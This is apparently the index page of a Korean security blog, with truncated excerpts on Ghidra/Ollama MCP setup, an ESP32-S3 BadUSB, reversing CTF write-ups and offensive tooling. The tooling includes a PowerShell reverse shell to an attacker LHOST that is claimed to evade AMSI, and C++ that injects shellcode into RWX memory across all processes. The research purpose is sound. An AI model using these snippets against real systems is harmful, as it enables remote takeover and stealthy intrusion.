일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 |
- 코로나바이러스
- 장고
- rubber ducky
- 바이러스
- Django
- ghidra llm
- 파이썬
- 해킹
- 코로나
- ollama mcp
- 파이썬웹
- reversing mcp
- dreamhack
- djangovscode
- ghidra mcp
- 웹해킹
- ghidra ollama
- reversing ollama
- vscode
- webhacking.kr문제풀이
- web
- 장고vscode
- jango
- 해커
- 해킹문제
- ghidra ollama mcp
- ollama3.1
- 백준
- 리버싱
- reversing
- Today
- Total
목록분류 전체보기 (48)
Kilkat

최근 ghidra도 mcp가 개발되면서 신기한 기능 및 편의성이 많이 생겼음 하지만 외부 LLM을 사용할 수 없는 기업 환경인 경우 해당 ghidra mcp 기능을 활용함에 있어 제약이 생기는데, 이를 로컬에 mcp tools를 지원하는 ollama를 구축하여 어느정도 해결할 수 있음 구축 과정ghidra 설치우선 ghidra를 다운받음https://github.com/NationalSecurityAgency/ghidra/releases Releases · NationalSecurityAgency/ghidraGhidra is a software reverse engineering (SRE) framework - NationalSecurityAgency/ghidragithub.com ghidra는 jdk2..

아두이노와 같은 보드를 HID(Human Interface Device)로 인식시켜서 악성행위를 하는 매크로를 제작할 수 있음서버팜과 같은 곳은 키보드와 같은 HID 장치 연결이 기본적으로 제한되어 있어서, 물리적으로 접근 시 시도할 수 있는 공격 방법이 다양하지 않음이런 문제에 ESP32-S3를 활용한 BadUSB 키트가 도움이 될수 있다고 생각함뿐만 아니라, 별도의 파일 드롭 없이 키 매크로 만으로 여러 공격들을 시도해볼 수 있어서 사고 분석 시 초보 분석관들의 분석에 어려움을 유발시킬 수 있음 사용 보드ESP32-S3 보드를 사용하였으며, 알리에서 중국산 카피 제품을 만원대에서 구매 가능함 IDE 환경 구성Additional boards manager URLs에 https://raw.githubus..

#include #include #include #include #include #include #include #include #include #pragma comment(lib, "psapi.lib")// 제외할 경로 리스트 (이 경로에 있는 DLL은 탐지 대상에서 제외됨)std::vector excludedPaths = { //"C:\\Windows\\System32\\", //"C:\\Program Files\\Common Files\\"};// 특정 경로의 DLL을 제외하는 필터 함수bool isExcludedDll(const std::string& dllPath) { return std::any_of(excludedPaths.begin(), excludedPaths.end(),..

reverse_shell.ps1fileless로도 사용가능함(powershell에 동작되게 하면 AMSI 탐지 없이 실행 가능함)$LHOST = "0.0.0.0" # 공격자의 IP$LPORT = 4444 # 공격자가 리스닝할 포트$client = New-Object System.Net.Sockets.TCPClient($LHOST, $LPORT)$stream = $client.GetStream()$writer = New-Object System.IO.StreamWriter($stream)$reader = New-Object System.IO.StreamReader($stream)$writer.AutoFlush = $true$sendBytes = [System.Text.Encod..
main.cpp#include #include "ProcessScanner.h"#include "ShellcodeInjector.h"int main() { std::cout rwxRegions = find_rwx_memory_all_processes(); std::vector successfulAttacks; // Shellcode Injection 성공한 프로세스 저장 for (const auto& region : rwxRegions) { if (inject_shellcode(region)) { // Shellcode Injection 성공하면 리스트에 추가 successfulAttacks.push_back(region); } } ..
main.cpp// main.cpp#include #include #include "RWXChecker.h"int main() { // RWX 메모리 영역을 찾고 exploit 실행 find_rwx_memory(); std::cout RWXChecker.cpp// RWXChecker.cpp#include "RWXChecker.h"#include "exploit.h"#include void find_rwx_memory() { SYSTEM_INFO sysInfo; GetSystemInfo(&sysInfo); LPVOID address = sysInfo.lpMinimumApplicationAddress; MEMORY_BASIC_INFORMATION mbi; int ..
function Convert-HexStringToByteArray { param ([string]$hexString) $hexString = $hexString -replace "\\x", "" if ($hexString.Length % 2 -ne 0) { throw "16진수 문자열의 길이가 홀수입니다. 유효한 16진수 문자열이어야 합니다." } $bytes = @() for ($i = 0; $i -lt $hexString.Length; $i += 2) { $hexPair = $hexString.Substring($i, 2) if ($hexPair -notmatch '^[0-9A-Fa-f]{2}$') { ..
function Convert-HexStringToByteArray { param ([string]$hexString) $hexString = $hexString -replace "\\x", "" if ($hexString.Length % 2 -ne 0) { throw "16진수 문자열의 길이가 홀수입니다. 유효한 16진수 문자열이어야 합니다." } $bytes = @() for ($i = 0; $i -lt $hexString.Length; $i += 2) { $hexPair = $hexString.Substring($i, 2) if ($hexPair -notmatch '^[0-9A-Fa-f]{2}$') { ..

365일을 코드 패치 하여 짧은 시간안에 Flag를 획득해야 하는 것으로 예상됨 DIE를 사용하여 파일을 확인해보면, ELF 64비트 바이너리인 것을 확인할 수 있음 ghidra를 통해 디컴파일 하면 entry에 FUN_004012b 함수가 존재하는 것을 확인할 수 있음 FUN_004012b 함수로 진입하면 문제 해결을 위한 핵심 로직이 존재하고, 첫 if문 분기 위의 FUN_004010a0이 존재함 FUN_004012b 함수를 확인해보면, sleep에 파라미터인 0xe10 값을 넣고 있는 것을 확인할 수 있고, 0xe10 == 3600 이므로 1시간을 의미함따라서 해당 값을 0으로 변경하여 패치하면 짧은 시간안에 Flag를 출력할 수 있을 것으로 예상됨 성공!

문제 설명을 확인해보니 특정 조건에 맞춰서 DLL을 로드하면 Flag를 획득할 수 있을 것으로 예상됨 첨부된 dll을 확인해보면 64비트 C++로 짜여진 DLL인 것을 확인할 수 있음 FUN_1800011a0에서 Call 되고 있는 function들을 확인해보면 GetModuleFileNameA, PathFindFileNameA, strncmp, MessageBoxA와 같은 Function들을 호출하고 있는 것을 확인할 수 있음strncmp의 경우 문자열을 비교하는 함수일테니 해당 함수를 중점으로 확인해보면 될 것 같음 GetModuleFileNameA를 사용하여 호출된 프로세스의 Full Path를 반환하며, 해당 값을 PathFindFileNameA 함수를 사용하여 local_2d8 변수에 저장하는 ..